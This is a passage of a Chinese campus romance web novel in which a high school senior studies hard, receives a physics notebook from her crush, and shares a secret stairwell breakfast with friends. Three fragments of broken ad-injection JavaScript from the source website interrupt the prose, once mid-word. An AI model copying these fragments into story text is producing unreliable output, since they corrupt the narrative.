“为学生好的事,怎么能嫌麻烦?”康老师头仍垂着,一缕白头发晃了李老师的眼,“再说了,我都写了这么多年,总得要坚持下去。” …… 和康老师的交流让陈丹丹卸下心理包袱,抓住机会一连请教了化学老师和生物老师。她突然发现,坦诚请教老师也没什么不好意思的,相反,他们喜闻乐见,巴不得学生多多请教问题。 从老师办公室走回班级时会路过隔壁班,但是一连几天,陈丹丹都没有再见到段言。 可能他去接水、去其他班找同学玩,或者是帮老师干活了吧,陈丹丹想。 纵使他的人不在她身边,他的名字却如影随形,伴随着男生的吹捧和女生的钦慕,时不时钻入陈丹丹耳中,扰乱她的所思所想。 下课时分,陈丹丹整理卷子的时候,听见周围的同学赞叹:“段神真牛啊,如果我能有他那么好的成绩,我爸妈做梦都能笑醒。” “你这次全班第十哎,还说这话!”旁边的同学无语死了。 “第十怎么了,人家段神是年级第一。而且你又不是不知道,我表姐、表哥、堂姐、堂哥全是清北毕业,如果我没考上top3,我会成为家族里的笑话、耻辱。”说话的男生指了指眼镜儿下边,“你看看你看看,我都有眼袋了,就是因为这几天愁的睡不好觉。” “得了吧,你也不看看你一天学几个小时,能考成现在这样已经不错了。”他的同桌没好气地道。 “我下了晚自习之后还要再学一个半小时呢,够可以的了!”男生委屈地说,“听说段神几乎不把课本和卷子背回家,那才叫一个厉害。” “羡慕!” “我也好羡慕!” “怎么人家学起来就这么轻松,我累死累活都学的很一般呢?” “智商差距吧。” “……” “你别不信,据说人和人的智商差距可能比人和狗的差距还大。嘶!”男同学倒吸一口凉气,“该不会段神看我们,就像是我们看——” “打住打住!”副班长比了个暂停的手势,“何必自取其辱?” 陈丹丹心思一转,诡异地想到了一种可能。 想想看,她请教段言的那些题目在她看来很难,对他而言那难度大概不值一提,他教她做题,是不是就相当于她教……? 她浑身一个激灵,赶紧摇摇脑袋,赶跑了这种可怕的想法。 这时,副班长转移话题道:“对了,这几天怎么没有看到段神啊?” 俞秉文正巧走过来,听见这句话,挠了挠头:“他家里有事,请假了。” 陈丹丹怔了怔,失落地垂下头。 她以为她和俞秉文一样,都是段言的朋友,甚至她和段言更早认识,怎么说也比俞秉文这个高二才半路和他认识的家伙更值得信任,没想到俞秉文知道他家里有事请假了,她却不知道。 不过陈丹丹还是把失落的情绪暂且放到了一边。 比起失落,她更多的是担心。她想知道段言家出什么事了,严不严重,故而调整了坐姿,竖起耳朵听俞秉文和其他同学说话。 “段神家有什么事?”有同学代替陈丹丹问出来。 “好像是他家有人住院了,具体的我也不是很清楚。”俞秉文点到为止,就说了这么一句。 俞秉文经过陈丹丹座位的时候,被她叫住,小声问道:“是段言的外婆又住院了吗?” “你怎么知——” “这个给你。” 两道男声重叠在一起,陈丹丹茫然地看着突然出现在她眼前的笔记本,视线顺着本子、男生的胳膊往上,对上了姚一哲的眼睛。 或许是她眼里的疑惑太过明显,姚一哲笑了笑:“你打开看看就知道了。” 陈丹丹依言翻开了笔记本,姚一哲带着歉意的声音在她耳边响起:“前两天就应该给你的,我不小心忘了。” 还站在一旁,却被忽略的彻底的俞秉文伸长脖子,想看看本子里写的是什么。 该不会是情书什么的吧? 他要不要给段言告个密? 俞秉文摸摸下巴,看不出来啊,姚一哲这人平时人模狗样的,刚和女朋友分手,就趁着段神不在学校撬他的墙角? 姚一哲早看出俞秉文的心理活动,揽着他的脖子把他往前拽:“分班这么久了你也没说来找我玩儿,还有没有良心啊你?” 俞秉文看他理直气壮的样子,没有一点刚撬了哥们儿墙角的心虚,知道自己冤枉他了,爽朗一笑:“这不是等着你来找我吗?” 从洗手间回到座位的谷欣妍围观了整个过程,心里闪过一片“wow”。 “丹丹,你认识隔壁班的姚一哲?听说他这次月考考了年级第六,超厉害的!”她眼睛里是明闪闪的八卦。 “嗯,”陈丹丹回答的很自然,“我们以前是一个班的。” 段神和丹丹以前在一个班,姚一哲和丹丹以前也在一个班? 谷欣妍没忍住“哇”了一声,“原来又帅学习又好的男生都在你们班啊,难怪我们班以前都是些歪瓜裂枣。” 说到这里,她的目光在陈丹丹接过的笔记本上定格,“所以姚一哲刚刚给你的……是情书吗?” 为了避免被经常突袭的班主任发现,同学们已经改变了以往用信封装情书的做法,转而在笔记本里写情书,或者在笔记本里夹一封情书,她刚刚惊讶的点就在于年级里有名的学霸姚一哲疑似也在用这招追女孩子,追的还是她的同桌。 谷欣妍压低声音,善解人意地道:“不方便说也没关系哦。” 陈丹丹:“……” 前后两句有什么关系吗?“所以”是这么用的吗? 语文单科年级第一的陈丹丹不理解,但她还是坦然回复:“不是情书。” 这只是一本单纯的物理笔记。 一本详略得当、记录了经典题目和易错题的物理笔记。 一本……段言拜托同学转交给她的物理笔记。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这个笔记本上没有写名字,但随便翻开一页,陈丹丹都能轻易认出这是谁的字体。 白天在学校里有数不清的课,下课了也要对上节课学习的内容进行复习巩固,再加上班上人多眼杂,陈丹丹只看了笔记前几页。 力学部分: 重要概念:xx 公式:xx 经典例题一:xx 经典例题二:xx …… 难度进阶题一:xx 难度进阶题二:xx …… 易错题一:xx 易错题二:xx …… 每一个字、每一个符号都体现出段言的用心。 原来他学的并不像表面上那么轻松容易。 原来就算是学神,学起东西来也要从最基础的概念和公式开始,逐步整理、消化。 最近有句很流行的话是怎么说的来着?“你必须非常努力,才能看起来毫不费力。”估计在大家看不见的地方,段言也付出了超乎常人的努力。 今晚是生物晚自习,陈丹丹左手边放着生物卷子,右手处摊开了她新收到的物理笔记本。 不知道为什么,生物老师突然走下讲台,陈丹丹一时之间有些慌乱,把物理笔记本忘桌兜里一塞。等到生物老师在教室里晃悠了一圈回到讲台上之后,她才放心地从桌兜里取出那本笔记本。这一次,陈丹丹是从后往前翻的,因为她想知道这本笔记本到底记录了多少内容。 翻过大概四五张空白的纸张,来到了最后一页有字的地方。 前面的字迹都写的工工整整,按照笔记本上的横线来填充内容、排版,唯独这一页,字体放大了好几倍,四行字占据了正中间大半张纸的位置。 「不要犹豫, 在正确的道路上努力前行, 你会取得你想要的成绩。 ——与陈丹丹同学共勉」 很明显,这是段言写给她的话。他可能猜到了她月考成绩不佳,又或者从其他同学口中听到过她落后的名次,所以才特意写这种励志的话来鼓励她吧? 陈丹丹深吸了一口气,继续往下看去。 最下面一行字体恢复到正常大小:「外婆生病住院,我在医院里照顾她几天。病的不严重,不用担心。」 不多的几行字,陈丹丹来来回回看了好几遍,回到家之后,她用手机将这页纸拍下来。 这样,就可以随时随地都看到段言对她的鼓励。 即使几天之后她把笔记本还给他,她依然能够看到。 …… 收到段言精心整理的物理笔记本后,陈丹丹如获至宝,每天都会抓紧时间翻看。与此同时,遇到不会的数理化生题目,她也会和祝思倩、谷欣妍讨论,三个人都不会时,陈丹丹就积极地请教前后桌和任课老师。错题本使用的频率也越来越高,只是她现在摘录错题的时间远远少于总结思考并重做错题的时间。 陈丹丹在学业上一步一步地前进,在感情的世界里也一点一点地进步着。 在段言离开的这一个礼拜,她总是免不了习惯性地将目光投向隔壁教室最后一排正中间的某个座位,也免不了在看到空荡荡的座位时内心产生的失落感。 但她已然学会了努力克制她的情绪。 由康老师亲自更改黑板上一天天减少的高考倒计时数字,下课时因为熬夜刷题太过困倦一趴趴倒一大片的同学,嬉笑打闹时都不忘讨论题目和成绩排名的学霸们。 在这样的氛围里,陈丹丹的所思所想都被各种知识点和题目占据。 语文课文的理解、背诵和默写,比如《阿房宫赋》《赤壁赋》《长恨歌》《离骚》《滕王阁序》《蜀道难》等等,作文的积累与练习。 数学的立体几何、三角函数、数列、圆锥曲线等等。 英语的必背单词和固定搭配,完型阅读的技巧和相关语法,作文的字迹好看与否和亮点句子应用等等。 物理的力学、光学、电磁学等等。 化学的各种方程式、化学实验的操作、有机物的结构和性质等等。 生物的遗传规律、植物生长素和其他植物激素、生态系统中的能量流动与物质循环等等。 …… 每一门学科都有那么多的知识等着陈丹丹去掌握、复习、巩固、提升,查缺补漏已经用掉了她大部分时间,余下零散的几分钟时间里,她才会允许自己去想念。 比如课间去接水路过隔壁班的时候,比如睡前复习完知识点的时候。 更何况,比起落在段言身后十万八千里远不得不仰望他,陈丹丹更希望她能有机会站在他身边,就像当初班上的同学说他和辛彤彤很般配那样,说出“陈丹丹和段言很配”这句话。 段言越来越耀眼。 而她,不想越来越黯淡。 36. 三十六颗青梅 陈丹丹自知不是一个有理科天赋的学生,她能做的,就是用正确的方法不断努力,夜以继日地去坚持。 她特意调整了作息,因为她发现“开夜车”并不会让她进步多少,反而会因为晚上学得太晚导致第二天上课犯困,思考迟钝,精神恍恍惚惚,走路也像是踩在棉花上一样不踏实。为此,陈丹丹列了一张作息表,严格按照作息表的时间来规范作息。 如果老师晚自习不延堂的话,陈丹丹坐上公交车回家,快速洗漱,简单复盘今日份学习内容,能在十点四十准时闭上眼睛,周三晚上要洗头,会稍微迟些。 凌晨四点四十,旧手机响起清脆的铃声时,她睁开眼睛,换好衣服,蹑手蹑脚地去洗手间用冷水拍拍脸再洗漱,回到桌前坐好,开始一天的学习。 六点整,旧手机再次响起默认的铃声,她收拾好书本文具装进书包里,洗漱过后,往嘴里塞几片面包,拿一盒牛奶放进书包里课间了再喝。 陈丹丹坚决贯彻“抓好白天的每一秒钟来学习”的原则,坐公交车的时候,她把书包放在腿上,默默背诵语文课文,“陈涉之位,非尊于齐、楚、燕、赵、韩、魏、宋、卫、中山之君也;锄耰棘矜,非铦于钩戟长铩也”。 咦,锄you棘矜的you字怎么写的来着? 她分明上周才写过,这会儿怎么突然记不起来了。 陈丹丹立马从校服口袋里掏出笔和一个手掌心大小的笔记本,把本子垫在书包上,伴随着公交车晃悠的节奏,写下“锄you棘矜”。 嗯,虽然数学和理综的提升很重要,但她的优势学科语文和英语也要继续保持。 …… 于是当段言重返校园的时候,见到的是一个精神面貌焕然一新的陈丹丹。 一个不再沉郁,眼神坚定的陈丹丹。 一个会和其他同学一起讨论题目,在走廊上拦住老师请教问题的陈丹丹。 一个……他阔别已久的陈丹丹。 段言没有刻意找机会和陈丹丹打招呼,而是安安静静地见证她的改变。路过她所在的班级,看到她一如既往地在思考难题时抠脑袋、咬笔头,段言情不自禁地弯了弯嘴角。 一直到陈丹丹发现他回来,打算将厚厚的笔记本还给他时,段言才注视着她的眼睛,对着她露出久违的笑容:“这几天过得怎么样?” “挺好的,”她仰起头看他,眼里闪着光,“谢谢你的笔记,对我来说非常有用。” 段言没有接过本子,“你继续用,不必着急还我。” 陈丹丹笑着将笔记本放在他桌上,“我已经用完了,该还给你了……对了,你外婆身体怎么样?” “恢复得还不错。”但比起手术前还是差了很多。 陈丹丹:“那就好。” 主动跑到学神学霸遍地走的隔壁班已经花费了陈丹丹莫大的勇气,站在这个陌生的班级里,周围大部分都是正在埋头苦学的优等生,无声的磁场仿佛排斥着陈丹丹这个不速之客,潜意识告诉她,说话的声音再大一点都是对其他同学的打扰。 不待段言开口,她就道别:“那我先回班上啦。”还有无数的题目等着她去研究,无数的知识点等着她去掌握呢! 段言偏过头,只看见她马尾辫扬起的弧度,以及一个纤细的背影。 姚一哲坐在旁边看完了全程,拍着段言的肩膀笑话他:“人走了,傻眼了吧?” 换来段言不带温度的一瞥。 “我说大哥,你就应该告诉人家,这本笔记是你专门写给她的,”姚一哲哼笑一声,“我就说么,你一个从来不整理笔记的人,好端端的去买什么笔记本,下课在补笔记,晚自习也在补笔记,原来是为了陈丹丹。” 都请假了还专门给他发消息,让他在桌兜里找到笔记本给陈丹丹送过去。做到这份儿上,简直是大情圣啊。 段言拍开他的手:“你不觉得你管的有点宽?” 姚一哲举起双手作投降状:“好好好,我不管我不管,看你这个锯嘴葫芦能忍到什么时候。” …… 这天下晚自习之前,俞秉文突然问陈丹丹她们:“明早要不要吃面皮?体育馆旁边那家面皮。” 祝思倩快言快语地问:“你给我们带?” 俞秉文翻了个白眼:“那不然呢?一句话,要不要吃,我好统计人数。” 祝思倩才不跟他客气:“要!” 陈丹丹在美食中挣扎。 自从为了节约时间学习,她已经很久没有吃过面皮了,更别提体育馆旁边那家顶有名的面皮。可是,自从前些天班上有同学把面皮带到教室吃,被康老师说了一顿之后,已经很久没人敢这么干了。 康老师当时的原话是什么来着? ——满教室都是一股面皮味,你们是想馋死谁啊?其他同学闻着这么香的面皮味儿,还有心思学习吗?我们班可不兴搞这种恶毒的竞争。 班上当时哄堂大笑。 陈丹丹还在想,她遇到的虚假的同学竞争是别人来借课堂笔记的时候假装自己没有记,其他同学来请教某道题目的时候假装自己不会。 原来真实的(康老师眼里的)同学竞争已经进化到用面皮香味勾的大家无心学习了吗? 咳咳,陈丹丹当然知道康老师只是在开玩笑。但现在的问题是,她明早要不要吃面皮?在教室吃面皮被康老师发现了怎么办? 算了,吃! 大不了被康老师念叨两句。 再多思考一秒,都是对她心目中top1面皮的不尊重。陈丹丹果断回复俞秉文:“我也要!” 谷欣妍和俞秉文不是很熟,有点不太好意思地客气了一下:“会不会太麻烦你了?” 俞秉文摆摆手:“没事,反正我今晚住我奶奶家,来学校刚好要路过体育馆,顺手的事儿。” 谷欣妍见俞秉文不是在说客套话,也欣然答应:“那就麻烦你了,谢谢啊。” 她是住校生,一般早餐都在学校食堂吃,学校食堂的面皮么,那味道不提也罢。学校周边倒是有不少早餐店,但她舍不得浪费时间出去排队,而且这些面皮店也没有体育馆旁边那家味道好。和陈丹丹一样,她也很久没吃到好吃的面皮了。 以前班上有关系不错的走读生经常会用袋子带七八份面皮到学校,他周围的同学一窝蜂地往他座位冲,谷欣妍也因此吃到过几家味道不错的面皮。分班之后,谷欣妍和其他同学不太熟,再也没有吃到过走读生带的面皮了,尤其是体育馆那么远的面皮。 翌日,陈丹丹和谷欣妍到的很早,就连平日里经常踩点到的祝思倩都来得很早。三个女孩子一边在教室里自习,一边满怀期待地等着俞秉文(带着面皮)到来。 六点五十二分,教室里的同学都快坐满了,俞秉文才姗姗来迟。 他背着黑色的双肩包,气喘吁吁地跑进教室里坐下,环顾四周,见康老师这会儿不在教室里,动作迅速地拉开书包拉链,呼叫陈丹丹她们几个:“快快快,你们的面皮到了。” “来了来了。”陈丹丹应着,从俞秉文手里接过袋子,迅速放进她的饭盒里,琢磨着等会儿怎么趁康老师不注意吃掉这碗香喷喷的面皮。 祝思倩接了杯水回来,一见俞秉文来了,活像是饿了八辈子似的扑过去,“你怎么才来?我都快饿死了。” “饿虎扑食啊你……那家面皮店今天人巨多,我排了好久的队才买上,差点都迟到了。”俞秉文把袋子分别递给祝思倩和谷欣妍,见祝思倩愣在那里没动,赶紧问她,“你碗呢?快放你碗里,不然待会儿老康来了。” 祝思倩面露尴尬:“我今天忘记带饭盒了。” “不是吧?我昨天不是还特地提醒过你?”俞秉文无语了,又问,“那你咋办?” “只能就这么吃了。” “算了算了,你先用我的吧,反正还隔了层塑料袋。”俞秉文把他的碗递过去,小声嘟囔了一句,“真是欠你的。” 分完面皮,祝思倩问陈丹丹:“我们在哪吃?” 陈丹丹沉吟:“在教室里偷偷吃?” “啊……”祝思倩犹豫道,“可是老康不是不让在教室里吃面皮吗?被发现了怎么办?” “笨呐你们,”俞秉文瞟了她们一眼,“不会出去吃吗?” 陈丹丹重复道:“出去吃?” 这不是更容易被发现吗?而且就这么正大光明地在外面吃面皮,是不是不太好? 有点太明目张胆了吧! 眼看康老师估计快来了,俞秉文顾不上那么多,连忙和旁边的同学交代道:“老康如果问起我们,你就说我们在走廊背书。” 学校对于高三学生的管束是弹性制的,有些事情上会管得很严,比如坚决不允许早恋,坚决不允许上课开小差、坚决不允许把简单的基础题做错。但在有些事情上又管得相对宽松很多,有了高一高二时候没有的自由,比如晚自习可以带着耳机刷题,可以选择在早读时间站着背书、走着背书、到走廊上背书等等。 所以俞秉文想的借口还算是靠谱的。 接着他用眼神示意陈丹丹她们:别磨磨唧唧了,跟我来。 三个女孩子跟在他身后,就像是做贼似的,脚步轻轻的,手上还另外拿了本书遮遮掩掩。 两个理科火箭班在四楼,也是最高的一层楼,不过还是可以从四楼顺着楼梯继续往上走。最顶层是天台,学校担心出事故,直接将天台入口用门锁住。 俞秉文带着她们走到楼梯口处,指了指上面道:“你们往上走,可以坐在楼梯拐角上吃。” 陈丹丹:“你呢?”不跟她们一起? 俞秉文一只手拎着袋子,另只手指了指隔壁班,“我去叫段言和姚一哲。” 陈丹丹这才注意到他手上拎了不止一份面皮,总共是三份面皮外加三双赠送的一次性筷子。 “快走,老康来了!”隔着老远,祝思倩就看到康老师出了办公室的门,正往教室的方向走来,立刻拽着陈丹丹这个体育废柴往楼梯上冲,谷欣妍跟在她们身后,动作敏捷地跑上楼梯。 “呼——”楼梯拐角上方,三个女孩子手按在胸口上平复呼吸,然后不由自主地笑了起来。 很久没有这么放松的时刻了。 谷欣妍比较细心,她从校服兜兜里取出一包纸巾,给陈丹丹和祝思倩各递过去一张,“垫着坐。” 陈丹丹道谢,将纸巾垫在楼梯上,坐下之后把碗放到腿上扶好,解开面皮调料水的袋子在饭盒上铺展开,又解开装有面皮、豆芽、黄瓜丝的袋子,将面皮和配菜往饭盒里倒。 她们商量好要等男生来了一起吃,不过么,还是可以先把面皮拌好的。 毕竟闻起来这么香,如果这么干看着,饥肠辘辘的她们实在是顶不住。 于是等段言走到四楼和顶楼天台中间的楼梯拐角处,看到的画面就是三个女孩子顺着楼梯坐成一竖排,陈丹丹正掰开一次性塑料筷子准备拌面皮。 听到脚步声,陈丹丹仰起头一看,是拎着面皮出现的段言,他身后跟着姚一哲和俞秉文,这两人跟小朋友似的,你撞我我撞你,玩得不亦乐乎。 ……有种哥哥带着两个幼稚弟弟出来玩儿的感觉。 “你们快点。”段言视线往后一扫,两个幼稚弟弟,咳,两个男生立马停止小动作,顺着楼梯往上走。 身材颀长的少年往身旁的楼梯上一坐,陈丹丹顿觉原本宽敞的地方变得十分逼仄,空气中弥漫的面皮香味转眼间也夹杂了少年身上清冽好闻的气息。 “早啊丹丹。”他很自然地靠近,和陈丹丹打招呼时弯了弯眼睛,等着她的回应。 陈丹丹扭过头看他,也笑眯眯地打招呼:“早。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 段言的出现,是今天的意外之喜。她伪装得很好,好到唯有她自己才能感知到剧烈的心跳。 段言很快拌匀面皮,动作斯文地吃着,看似不疾不徐,一碗面皮很快被他解决了大半。 陈丹丹的目光时不时落在身旁少年棱角分明的侧脸上,一会儿在心里感慨他皮肤好好,一颗痘痘都没长,一会儿情不自禁地赞叹他可真是个睫毛精,一会儿又想他连吃面皮都这么好看自如。 男生好像吃东西都比较快,俞秉文三两口吃完,也不想马上回班里,闲闲地和他们几个聊天,讲些班上的八卦。 “我们班的体育委员私底下和我们班男生说,等他考到班上前十名,他就向我们班女班长表白。” 女班长一心只有学习,平日也只和女同学以及学习好的男同学交流,体育委员为爱努力,也算是不容易了。 “哇哦!刺激!”祝思倩两眼放光,咽下嘴里的面皮,吃了这口新鲜瓜。 “这算什么,我们班数学课代表和平行班一个妹子在一起了,没几天他们分手了,然后我看到他和那个妹子的好朋友暧昧不清。”姚一哲也分享了他听到的八卦。 连沉浸在面皮中的陈丹丹都被吸引了注意力,她和另外两个女孩子异口同声地骂:“渣男!” “这算什么?”俞秉文三两下收拾好塑料袋,一副你们真没见识的样子,“我还知道平行班有一个脚踩两条船的,一条船是他们班的一个妹子,另一条船是隔壁学校的一个妹子。” 陈丹丹脸上时不时露出惊叹的表情:“你们怎么知道这么多我不知道的八卦?” “就是就是!”祝思倩自认是八卦小能手,本班和隔壁班的八卦就没有能逃脱她的法眼的,怎么还有这么多她连一点苗头都没有听到过的八卦? 可见,男生八卦起来,就连女生都自叹弗如。 段言是在场唯一一个没有分享八卦的男生队队员,陈丹丹往他的方向凑了凑,好奇地问他:“你知道什么八卦吗?说来让我听听。” “是有那么一个,”他神色淡淡,目光慢慢落在她脸上,“你真想听?” “想啊想啊!”陈丹丹可用力地点头了,亮晶晶的大眼睛望着段言,期待他能分享个什么惊天大八卦。 其他几人也不动声色地往这边靠拢。 在五双眼睛的注视下,段言声线平稳地对陈丹丹说:“我们班有一个男生喜欢你们班的某个女生,准备高考之后表白。” “哇塞!是谁呀?” “秘密。” 陈丹丹抗议:“我最讨厌这种说话说一半的,你快说说到底是谁,我保证不告诉别人。” “秘密说出去就不是秘密了。” 最后陈丹丹也没能知晓那个答案。 因为,很不幸的,他们被康老师逮住了。 几人聊得太嗨,谈笑声完全盖住了康老师刻意放轻的脚步声,直到他的脑袋出现在楼梯拐角处,视线刚好和陈丹丹对个正着,陈丹丹才发现他的存在,笑容瞬间僵住。 段言几乎是立刻发现了她的异样,一转头,也和康老师对上了视线。 他迅速站起身,假装不经意地挡在陈丹丹面前,若无其事地和康老师打招呼:“康老师早,我们在这里讨论题目。” “是的是的!我们在很认真地讨论题目。”为了配合他说的话,祝思倩他们都拿出用作掩饰的课本在空中大力晃了晃。 康老师嘴角抽了抽。 祝思倩这女生演技也太差劲了吧?俨然一副做贼心虚所以表演用力过度的样子。 而且你们几个当我瞎,看不见你们抱在怀里的、放在楼梯上的饭盒和塑料袋? 还有,空气里一股浓浓的面皮香味儿,明显是刚吃完面皮,还没来得及毁尸灭迹嘛。 就这功夫,还想瞒过我的火眼金睛? 不过么,看在他们几个最近都努力学习的份上,也不是不能轻轻揭过去的。 康老师带着两个火箭班的物理,段言是他的“得意弟子”,好学生么,自然是有些优待的,在他没犯什么大错的情况下,还是要给他点面子,多包容一下的。 陈丹丹最近进步很大,性格也很腼腆,如果批评了她,她一个想不明白,影响学习状态就不好了。 再说了,他之前和陈丹丹提过,让她去找段言好好交流一下物理的学习方法,这下两人凑到一起,岂不是说明陈丹丹把他的话记在了心上? 至于早恋什么的,依康老师的经验来看,这一点都不像。根据他抓小情侣的心得,小情侣一般都是两个人偷偷摸摸地在校园角落里拉手说话,可没见过这种六人组躲在走廊上吃面皮的,因此他迅速排除了这种可能。 作为教学经验极其丰富的火箭班班主任,眨眼间的功夫,康老师心中闪过很多想法,并且选择了其中比较温和的一种。 他清清嗓子,装作没看见他们尚未收拾的残局,点点头嗯了一声:“你们讨论完记得早点回班上。” “好嘞!”几人眉开眼笑地应着,目送康老师转身离开。 而一直被段言护在身后的陈丹丹用手背感受了一下脸颊上滚烫的温度,扭过头,面对着墙角偷偷笑了。 段言会主动维护她,这种下意识的反应可是骗不了人的。就算他没有喜欢上她,但是对他来说,她也是一个非常重要的朋友才对。 “我们也走吧。”段言转回身,和陈丹丹重新保持安全距离,不过他说话时低下的头、专注的眼神和好看的眉眼,还是让陈丹丹忍不住面颊发红。 陈丹丹轻轻点头:“好呀。” 她想,夏天可真适合暗恋。 通红的面颊可以解释为被太阳晒红了、吃面皮被辣到了,汗湿的手心可以解释为温度太高,加速的心跳可以解释为天气太热导致的。 一切皆有迹可循,一切皆可掩盖。 37. 三十七颗青梅 其实不被陈丹丹知晓的秘密还有很多。 其中一个发生在昨天下午,段言听说俞秉文第二天早上要去体育馆吃面皮之后,他不经意地问:“你不给祝思倩她们带?” “待会儿问问她们去,”俞秉文拍拍胸口,“我可真是一个讲义气的发小,祝思倩老是怼我,我都没和她计较……对了段神,你吃不吃面皮?我给你也带一碗。” “吃,谢了。” “吃什么?”接水回来的姚一哲问。 “明早我给大家带体育馆旁边那家面皮,你吃不?”俞秉文顺口问道。 “那必须吃啊!我都多久没吃过那家面皮了,给我带大碗的。”姚一哲丝毫不客气地要求。 “行,”俞秉文答应,不过他又想到一个问题:“我们到时候在哪吃面皮?” 段言淡定回答:“四楼往上的那个楼梯间里。” “可以啊段神,作案地点都想好了。”俞秉文脑子一转,坏笑道,“你是不是蓄谋已久——” 段言还以为他要说出个什么一二三来,姚一哲也抱着胳膊等俞秉文说出口后调侃段言,结果俞秉文这个脑回路简单的生物接着道“早就想吃体育馆旁边那家面皮了?” 姚一哲同情地看了看俞秉文,为他的情商感到担忧。这么迟钝,以后怎么找女朋友? “是。”段言则笑得意味不明,“想很久了。” …… 日子一天天过去,陈丹丹沉浸在知识的海洋里,只觉时间过得飞快。除了吃饭喝水睡觉上厕所以外的每一分钟,陈丹丹基本都用来学习,学习的间隙中,她偶尔也会难以抑制地想起某个少年的名字。 相比于内心的悸动,相比于蔓延在胸腔里的苦涩,相比于担心没办法和他考到同一个地方的压力,段言带给她的更多是动力,是为了自己的前途,也为了和他并肩而行的动力。 第一次月考,陈丹丹班级排名第三十一名,年级排名第八十五名。 期中考试,陈丹丹班级排名第二十九名,年级排名第八十一名。 第二次月考,陈丹丹班级排名第二十名,年级排名第六十八名。 …… 月色和日光见证了陈丹丹的进步,连同班级门边的白墙上定期更换的成绩排名单。 班上的同学对陈丹丹的印象逐渐从“那个长得很好看,但不怎么爱说话,成绩也一般般的女生”,变为了“那个长得很好看,虽然不太爱说话,但超级努力的学霸”。就连康老师见到陈丹丹,笑容也一天比一天和蔼可亲。 谷欣妍和祝思倩受到她的影响,学习也刻苦了很多。 一天下午,谷欣妍跑进教室时眼眶是红的,坐到座位上后也不说话,就盯着桌上的习题册看。陈丹丹趴在桌子上眯了会儿,一睁眼就发现她的情绪不对劲。 “你怎么了?”她的手搭上谷欣妍的胳膊,语气轻柔地问她。 “我舍友中午在宿舍里翻她的化学笔记本没翻到,就说是我拿了她的笔记本,”谷欣妍转过头来,泪珠在眼眶里要掉不掉的,“丹丹,我没拿她的笔记本,之前我问她借过一次笔记本,不到一天就还给她了,从那之后我再没有问她借过笔记本,更别说偷拿了。” 陈丹丹从桌兜里找出纸巾给谷欣妍擦眼泪,语气温柔但神色坚定地说:“我相信你。” 谷欣妍抱住她,抽噎着说:“谢谢你丹丹,谢谢你相信我,我们宿舍其他人要么相信谯诗雨,帮她说话,要么置身之外,只有你说你相信我。” “我当然相信你了,”陈丹丹拍拍她的背,“好歹当了这么久同桌了,总不至于连这点信任都没有吧?” 话音一落,一个扎着丸子头的女生气势汹汹地走到谷欣妍座位边,见到陈丹丹时她愣了一下,但这并不影响她撂狠话:“谷欣妍我告诉你,这本化学笔记本我记了大半年,对我来说很重要,如果明早之前我没有见到我的本子,我就会告诉老师是你偷走了我的笔记本!” 谷欣妍站起来,愤愤道:“我都说了好几遍了,我没有拿你的笔记本!” 谯诗雨嗤笑一声:“这半个月里,我只把我的化学笔记本借给过你!你知道我平时把本子放在哪的,而且我们宿舍你成绩最差,其他人根本没有动机偷我的笔记本。” 谷欣妍被她堵得说不出话,只反复辩解道:“我没有偷!” 她们闹出来的动静有点大,班上早到的几个同学都围过来看热闹。他们同在一个班的时间不过几个月,大部分时候大家都在埋头学习,班级凝聚力这东西几乎不存在,而且这几个同学对谷欣妍了解也不深,所以没人站出来帮她说话。反倒是有人认出来谯诗雨这个年级里有名的学霸,内心稍微偏向了一下这位传说中品学兼优讨人喜欢的学霸。 …… 高三(21)班,有好事的同学在班上大呼:“我刚刚路过隔壁班,听到有女生吵起来了!” 八卦是人类共同的天性,即使是学霸也不例外,班上一下就热闹起来了。 “哇哦——什么情况?”有男生逮住传播消息的同学问道。 “我去瞅瞅,正好休息一下。”一个学霸从教室的角落站起来,转了转因为久坐刷题而僵硬的脖子。 “等等我,我也去看看热闹。”姚一哲也凑上去,临走前他还不忘邀请段言,“段神,去不去?” “不去。”段言修长的手指翻了一页全本全注全译版《孙子兵法》,拒绝得干脆利落。隔壁班女生吵架,和他有什么关系? “万一是陈丹丹和别人吵起来呢?”姚一哲转了转眼珠子,“你就不担心她吗?” 段言有点好笑:“她不是会主动和别人吵架的人。”更何况,她现在满心满眼都是学习,哪里还有时间分给吵架? 高三(20)班的教室里,陈丹丹见两人僵持不下,主动缓和气氛道:“谯诗雨,你要不在你桌兜里好好找一下,说不定你的本子就在桌兜里呢?” “我找了,没有。”谯诗雨冷冷地说道。 “那你也不能随意断定就是谷欣妍偷了你的笔记本,这对她不公平。”陈丹丹缓缓说道。 陈丹丹在班级里一贯是文文静静的形象,从没有和其他同学发生过冲突,也从不主动揽事情,她陡然开口,吸引了周围所有同学的目光。尤其是谷欣妍,看着她的眼神仿佛在发亮,那是一种看到救星时希冀的光芒。 谯诗雨皱了皱眉:“我没有随意断定,我只是在合理推测。” “没有证据的推测等同于你的主观臆测!”陈丹丹眼睛直视她,“难道你希望张筱薇的事情再一次发生吗?” 姚一哲站在20班教室后门口,陡然间被陈丹丹的气势惊了惊,他仿佛第一次见陈丹丹似的,打量了她好几眼。 热闹看到一半,好像还少了点什么,姚一哲不嫌事大地跑回班上,对段言说道:“陈丹丹正在和我们班的谯诗雨battle,你要不要去看看?” 别看他平日里是正经的学霸一枚,也是很喜欢看热闹的。 高三么,就这点热闹比较有意思。 而且几个妹子之间闹矛盾哎,肯定比男生打架还要精彩! 段言闻言,书都来不及合上,立马从座 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 位站起来往教室门口走,走了两步,他想起什么,动作顿住,转过头问姚一哲:“陈丹丹占上风吗?” “嗯,”姚一哲点点头,惊叹道,“没想到陈丹丹这女生战斗力还挺强的,她往那一站,那个气势,啧啧,跟平时真不太一样。” 霎时间,段言的眼睛里流露出笑意,他重新走回座位,慢慢悠悠地把《孙子兵法》被压皱的那一页折平整,仔细妥帖地放回桌兜里。 “哎,不是,你不着急啊?”姚一哲看他这动作,急急地问,“你现在不去隔壁班吗?” “不了。”少年的声音里带着懒洋洋的笑意,隐约间,姚一哲甚至还听出了一丝骄傲? 你有什么可骄傲的啊?! 姚一哲无语地白他一眼。 “等她发挥完了我再去。”段言又补充了一句。 姚一哲:“……” 合着你还担心你过去了会影响陈丹丹的发挥? 